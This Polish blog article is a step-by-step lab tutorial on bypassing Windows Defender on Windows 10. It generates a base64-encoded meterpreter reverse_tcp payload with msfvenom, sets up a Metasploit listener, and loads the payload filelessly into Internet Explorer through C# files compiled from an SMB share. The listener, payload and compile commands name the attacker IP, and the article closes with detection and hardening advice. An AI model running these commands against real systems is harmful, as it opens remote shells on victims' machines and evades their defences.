W dzisiejszym artykule opiszemy najnowszą metodę obejścia blokad w zabezpieczeniach Microsoft Windows 10 wykorzystującą bezplikowe uruchomienie w pamięci komputera specjalnie przygotowanego ładunku (payload), dzięki któremu będziemy mogli przejąć zdalną sesję nad komputerem Windows 10 1903 v2.


Wprowadzenie

Na Kapitanie Hack’u pisaliśmy wielokrotnie o różnych metodach na wykonanie kodu na komputerze z Windows i przejęciu do niego zdalnej sesji, aby można było wykonywać na nim komendy z wykorzystaniem serwera C2 (ostatnio opisywaliśmy jedną w artykule o DNS). Niestety jak to w świecie cybersecurity, nic nie trwa wiecznie i nowe metody są szybko rozpracowywane przez specjalistów, zaś w systemach bezpieczeństwa implementowane są mechanizmy na ich skuteczne wykrycie. Czas więc gra tutaj istotną rolę. Z drugiej strony cyberprzestępcy starają się jak najbardziej ułatwić sobie pracę wymyślają różne, metody (patrz artykuł o LotL) i obejścia pozwalające atakować użytkowników w sieci. Jedną z takich nowych metod opiszemy poniżej, lecz zanim przejdziemy do prezentacji scenariusza najpierw przytoczymy trochę teorii o połączeniu „odwrotnym”.


Co to jest „odwrotne” połączenie TCP (reverse TCP)?

Połączenie odwrotne TCP zwane także reverse TCP jest połączeniem Internetowym, które umożliwia zestawienie połączenia pomiędzy komputerem ofiary, a serwerem atakującego w sytuacji, kiedy zapora sieciowa (firewall) lub router umożliwia zestawienie komunikacji tylko na określonym porcie w jednym kierunku. Zapora sieciowa zwykle blokuje połączenia przychodzące z Internetu na otwartych portach, ale nie blokuje ruchu wychodzącego z sieci od jej wnętrza. W normalnym połączeniu, w którym ruch jest przekazywany do drugiego komputera w sieci. Klient (komputer ofiary) łączy się z serwerem (komputer atakującego) na otwarty port serwera, ale w przypadku połączenia „odwrotnego” to klient otwiera port, z którym łączy się serwer. Najczęstszym sposobem wykorzystywania połączenia odwrotnego jest ominięcie ograniczeń bezpieczeństwa zapory i routera. Istnieją także inne metody połączenia odwrotnego takie jak np. reverse SSH, reverse HTTP/HTTPS.

Większość przykładów jakie możemy spotkać w poradnikach w Internecie opisuje nawiązywanie połączenia zdalnego komputera atakującego z komputerem ofiary wykorzystując metodę połączenia odwrotnego TCP. W celu zestawienia takiego połączenia możemy posłużyć się narzędziem „msfvenom” dostępnym w framework’u Metasploit. Ciekawostka jest, że msfvenom potrafi generować ładunki w różnych formatach. Poniższe polecenie wygeneruje ładunek x64 zapisany do pliku wykonywalnego (exe), którego możemy użyć do odpalenia na Windows.

Opis działania powyższej metody można zobrazować na poniższym rysunku.

Powszechność stosowania tej metody (ładunku z msfvenom) zarówno w opisywanych przykładach jak i atakach spowodowała jej dużą wykrywalność przez większość z antywirów, w tym Windows Defender. Nasza próba wejścia do katalogu z plikiem „payload64.exe”, jeszcze bez konieczności jego uruchomienia, kończy się na Windows jego zablokowaniem i wykryciem.

Powyższy problem implikuje na atakujących zastosowanie technik zaciemniania takich jak obfuskacja kodu ładunku, kodowanie w base64 oraz niekonwencjonalnych sposobów na jego uruchomienia w systemie, tak aby nie było możliwe wykrycie go przez funkcje bezpieczeństwa. Inną kwestią jest samo uruchomienie ładunku i nawiązanie przez niego komunikacji sieciowej z serwerem C2, która też może być wykrywana przez zaawansowane firewalle sieciowe. Dlatego metoda połączenia reverse tcp sprawdza się bardziej u użytkowników domowych, gdzie nie ma zaawansowanych firewalli lub wewnątrz sieci LAN w firmie.

W naszym poniższym przykładzie będziemy starali się zakodować powyższy ładunek w Base64, załadować go bezplikowo do pamięci i uruchomić za pomocą specjalnego programu w sposób niezauważalny dla funkcji Windows Defender.


Scenariusz – Jak uruchomić kod ładunku omijając funkcje zabezpieczeń?


Krok1. Wygenerowanie zakodowanego ładunku

Pierwszą rzeczą, jaką wykonamy to zakodowanie ładunku w Base64. Poniższe polecenie wygeneruje surowy ładunek x64, który można przekonwertować na base64 za pomocą narzędzia, które jest częścią Kali Linux.

Msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=172.16.215.200 LPORT=2000

cat /root/payload64.bin | base64 -I


Krok 2. Przygotowanie nasłuchu połączenia odwrotnego TCP na serwerze C2

Drugą rzeczą jaką musimy przygotować to skonfigurowanie serwera C2 do nasłuchu na określonym porcie (w naszym przypadku 2000) wszystkich połączeń/sesji od naszego kodu powłoki (ładunku), który zostanie uruchomiony na komputerze ofiary. Komunikacja będzie działała po połączeniu odwrotnym TCP, więc wystarczy, że wskażemy na sztywno adres IP serwera oraz port.

W tym celu posłużymy się modułem „multi/handler” w Metasploit, który przechwyci sesję po wykonaniu kodu powłoki w systemie docelowym.

Komendy jakie musimy wprowadzić to:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 2000
set LHOST 172.16.215.200
exploit


Krok 3. Dostarczenie ładunku na komputer ofiary

Jeśli posiadamy ładunek zakodowany w Base64 oraz skonfigurowany nasłuch na połączenie odwrotne TCP serwerze C2, to w kolejnym kroku musimy w jakiś sposób dostarczyć ładunek i uruchomić na komputerze ofiary. Sposobów na dostarczenie jest wiele i nie będziemy ich w tym momencie opisywać. Dodamy tylko, że atakujący mogą także wykorzystać w tym kroku technikę zdalnej eksploatacji systemów, która może im w znaczącym stopniu pomóc osiągnąć realizowany cel.


Krok 4. Uruchomienie ładunku na komputerze ofiary

Tu zatrzymamy się na dłużej. Ten krok jest najtrudniejszy, ponieważ wiąże się z bardzo dobrą znajomością systemów, kodowania oraz zabezpieczeń i jego wynik zależy od odpowiedniego przygotowania środowiska uruchomieniowego.
W celu uruchomienia naszego ładunku na Windows postanowiliśmy użyć ciekawej techniki odkrytej niedawno przez panów Casey Smith i Steava Borosh, wykorzystującej możliwości kompilacji i uruchomienia kodu dzięki zainstalowanemu na Windows środowisku Microsoft .NET Framework.

W skrócie, technika jest podobna do kompilacji kodu przy użyciu zaufanego pliku binarnego Windows – MSBuild.exe, który jest częścią środowiska Microsoft .NET i który był często używany przez cyberprzestępców do kompilacji kodu na komputerach nieposiadających Visual Studio. Niestety w większości środowisk jego użycie jest monitorowane.

W naszym przykładzie MSBuild nie jest wymagany do wykonania kodu, ponieważ możliwe jest użycie zestawu funkcji API .NET, które wywołają złośliwy kod z pliku projektu .csproj ze zdalnej lokalizacji (ścieżka UNC).

UWAGA! Opisywana poniżej technika nie pozostawia żadnych artefaktów, ponieważ nie dotyka dysku, a kod jest wstrzykiwany do legalnego procesu Windows – Internet Explorer’a!

Implementacja tej techniki opiera się na następujących plikach:

  • Pliku biblioteki DLL (library.dll), który utworzy proces Internet Explorera w stanie zawieszenia
  • Pliku z ustawieniami projektu w C# o rozszerzeniu *.csproj (config.csproj), który będzie zawierał dowolny kod (nasz ładunek) oraz lokalizację docelowego procesu Internet Explorera
  • Pliku wykonywalnego (Loader.exe), bądź biblioteki (Leader.DLL) pozwalającej załadować bibliotekę DLL oraz pliku projektu C# *.csproj dostępnych pod wskazanymi w nim ścieżkami UNC

Schemat ataku przedstawia poniższy diagram:

Powyższe trzy pliki umieścimy na Kali Linux i udostępnimy po SMB za pomocą udziału dyskowego (ścieżka UNC). W tym celu użyjemy narzędzia impacket-smbserver z przełącznikiem wspierającym SMBv2.

Lista plików źródłowych na udziale Linux Kali:


Kompilacja i konfiguracja plików

Przygotowanie konfiguracji naszych 3 plików rozpoczniemy od kompilacji kodu źródłowego w C# „library.cs” do biblioteki „library.DLL”.
Do tego celu użyjemy narzędzia csc.exe dostępnego w .Net Framework 4. Na komputerze Windows musimy wykonać następujące polecenie:

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:”Microsoft.Build.Framework.dll”;”Microsoft.Build.Tasks.v4.0.dll”;”Microsoft.Build.Utilities.v4.0.dll” /target:library \\172.16.215.200\kapitan\library.cs

W wyniku powyższego polecenia skompilujemy plik „library.cs” znajdujący się na serwerze Kali Linux do pliku „library.dll” do katalogu lokalnego na Windows 10 (c:\temp). Po kompilacji plik „library.dll” kopiujemy z powrotem do katalogu „kapitan” na serwerze Kali Linux (C2).

Następna konfiguracja będzie dotyczyła pliku projektu „config.csproj”. Musimy do niego wkleić wygenerowany w Kroku nr 1 ładunek (w atrybucie „MyCode”) i wskazać lokalizację skompilowanego wyżej pliku biblioteki „library.dll” (w atrybucie „AssemblyFile”).
Konfiguracja pliku projektu przedstawia się następująco.

Następnie musimy zająć się konfiguracją pliku „Loader.cs”, na końcu którego musimy wskazać lokalizację do pliku projektu „config.csproj”(zmienna ProjectPath) oraz skompilować go do pliku wykonywalnego „Loader.exe” lub biblioteki „Loader.dll” (przykład jak załadować bibliotekę w systemie znajdziesz tutaj)

W celu jego kompilacji używamy następującej komendy:

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:”Microsoft.Build.Framework.dll”;”Microsoft.Build.dll”;”Microsoft.Build.Engine.dll”;”Microsoft.Build.Utilities.v4.0.dll”;”System.Runtime.dll” /target:exe \\172.16.215.200\kapitan\Loader.cs

Oczywiście wszystkie pliki mogliśmy wcześniej przygotować po stronie Kali Linux, tak aby po stronie Windows nie było konieczności wykonywania kompilacji plików C#. Z pewnością do środowiska sieciowego łatwiej jest skopiować pliki z kodem źródłowym niż wykonywalne lub biblioteki dll 🙂


Krok 5. Uruchomienie i zdalne wykonywanie poleceń z serwera C2

Po przebrnięciu przez krok 4 i właściwemu przygotowaniu plików na komputerze ofiary z Windows 10 możemy uruchomić plik „Loader.exe”.

Poniżej prezentujemy wynik nawiązania sesji na serwerze C2 (lewe okno) z komputerem Windows 10 (prawe okno)

Możemy zdalnie wykonywać polecenia:

W narzędziu Proces Hacker widzimy uruchomiony proces Internet Explorera (iexplore.exe). Po kliknięciu na jego właściwości zobaczymy lokalizację roboczą wskazującą na serwer C2 (\\172.16.215.200\kapitan).


Podsumowanie

Powyższy przykład może stanowić poważne zagrożenie dla współczesnych systemów bezpieczeństwa. W naszym scenariuszu udało nam się bez problemów uruchomić złośliwy kod (payload msfvenom zakodowany w base64), który nie został nawet zablokowany przez funkcje zabezpieczeń Windows Defender. Pamiętajmy, że payload’em w tym przypadku może być inny dowolny kod! Ciekawa jest tutaj metoda załadowania go do pamięci.
Bardzo zdziwił nas również fakt, że kod naszego ładunku oraz samo nawiązanie połączenia odwrotnego z serwerem C2 nie zostało zablokowane przez system Windows.

Ciekawostką również jest to, że atak możemy przeprowadzić również lokalnie bez konieczności umieszczania pliku projektu „config.csproj” oraz biblioteki „library.dll” na udziale sieciowym. Uruchamiając plik „Loader.exe” załadujemy lokalnie projekt oraz bibliotekę do pamięci komputera i podczepimy pod proces iexplore.exe na zwykłym koncie użytkownika!


Jak się chronić?

Jeśli cyberprzestępca będzie chciał skompilować kod C# na komputerze ofiary wówczas zablokowanie możliwości uruchomienia narzędzia „csc.exe” z katalogu instalacyjnego .Net Framework z pewnością będzie właściwym posunięciem. Jeśli zaś z jakiegoś powodu na komputerze ofiary znajdą się już skompilowane pliki wynikowe wówczas warto również zwrócić uwagę na:

  • Monitorowanie użycia procesu narzędzia csc.exe
  • Monitorowanie sieci pod kątem nawiązywania połączeń odwrotnych (reverse TCP) z innymi komputerami w sieci
  • Monitorowanie procesów w tym iexplore.exe i uruchamianie z nich procesów potomnych takich jak cmd.exe lub powershell.exe
  • Wstrzykiwania do pamięci bibliotek DLL z nieznanych lokalizacji

Należy też zwrócić uwagę i pamiętać o tym, że pliki projektu C# (.csproj) można kompilować za pomocą programu MSBuild.exe. Na komputerach w firmie, gdzie istnieje możliwość użycia pliku MSBuild.exe z punktu widzenia bezpieczeństwa powinien on zostać usunięty z systemu lub zablokowany przez rozwiązanie zarządzające białą listą aplikacji (np. AppLocker). Zabezpieczymy się przed wykonaniem niepożądanego kodu przechowywanego w plikach o następujących rozszerzeniach:

  • .csproj
  • .xml

Możliwość MSBuild.exe jak i Loader.exe do wykonywania kodu przechowywanego lokalnie/zdalnie w systemie może prowadzić do obchodzenia istniejących mechanizmów kontroli bezpieczeństwa (zasady grupy, biała lista aplikacji itp.), które standardowo uniemożliwiają działanie programu PowerShell lub innych podobnych narzędzi opartych na programie PowerShell.

Podziel się z innymi tym artykułem!